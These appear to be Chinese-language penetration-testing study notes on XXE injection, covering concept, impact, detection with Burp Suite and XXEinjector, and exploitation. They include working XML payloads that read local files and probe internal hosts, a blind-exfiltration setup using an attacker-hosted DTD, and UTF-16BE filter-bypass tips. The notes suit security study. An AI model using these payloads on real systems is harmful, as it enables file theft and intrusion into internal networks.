一、概念
XML:传输和储存格式类型
XXE:XML的漏洞注入全称(xml external entity injection)
二、危害
文件读取
RCE执行
内网攻击
DOS攻击
三、检测
白盒
函数及可控变量查找
传输和存储数据格式类型
黑盒
人工
数据格式类型判断:<user>text</user><pass>Mikasa</pass>
Content-Type值判断:text/xml,appliacation/xml
更改Concent-Type值看返回:更改为以上两种类型,查看返回值
工具:xxe安全漏洞自动化注射脚本工具XXEinjiector--使用ruby编写,需要安装环境,原理就是 payload的fuzz。下载地址:https://www.cnblogs.com/bmjoker/p/9614990.html
方法1步骤: 1.bp抓包
2.对该网站进行爬虫
3.检索XML关键字,找到接受xml格式的数据包
4.添加payloads
方法2步骤: 1.抓包
2.如果数据包没有xml数据则添加<a>a</a>
3.便可判断有无回显
四、利用
输出形式
有回显
协议玩法:http,file,各脚本支持协议
外部引用
无回显
外部引用-反向链接配合
过滤绕过
协议玩法
外部引用
编码UTP-16BE
五、一些script:
通用xxe玩法-读文件(xxe-lab的payloads)
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY a SYSTEM "file:///G:/fw/111.txt">
]>
<user>
<username>&a;</username>
<password>123</password>
</user>
或者
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY a SYSTEM "file:///G:/fw/111.txt">
]>
<x>&a;</x>
玩法-内网探针或攻击内网应用(触发漏洞地址)不常见
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://localhost:9090/xxelab/fw.txt">
]>
<user><username>&rabbit;</username><password>1</password></user>
或
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY b SYSTEM "http://localhost:9090/xxelab/fw.txt">
]>
<x>&b;</x>
通过有xxe的漏洞网站,向其服务器内网进行判断192.168.1.1的8080端口是否开放,并且 index.txt文件是否存在
引入外部实体dtd---主要的作用是自定义攻击,但是前提条件是对方网站没有禁止引入外部 实体
dtd文件会被当作xml文件执行
所以在自己服务器上写上相应的代码即可 evil2.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">
无回显-读取文件 有时网站代码中设置了不回显,可以通过向自己服务器发送数据来查看到信息,一种是看日 志信息,一种是将传递进来的数据直接写入到文件中
服务器中test.dtd文件代码:
对于ENTITY、SYSTEM、file等关键字被过滤,可以采用编码格式绕过UTF-16BE 详细内容可以参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
如果http协议被过滤可以采用其他的协议方法绕过 对于使用哪种绕过可以成功执行需要进行fuzz测试,看那些成功漏洞的发现可以采用扫描工具有专门的xxe扫描工具,也有综合的工具,还可以通过bp中抓 取的数据包信息查询关键字,Content-Type值判断又没有等于text/xml 或 application/xml的,如果没有也可以手工修改为上边两个值,将数据更改为xxe语句,看回 显,因为数据包中虽然没有写接收信息类型,但是不说明不存在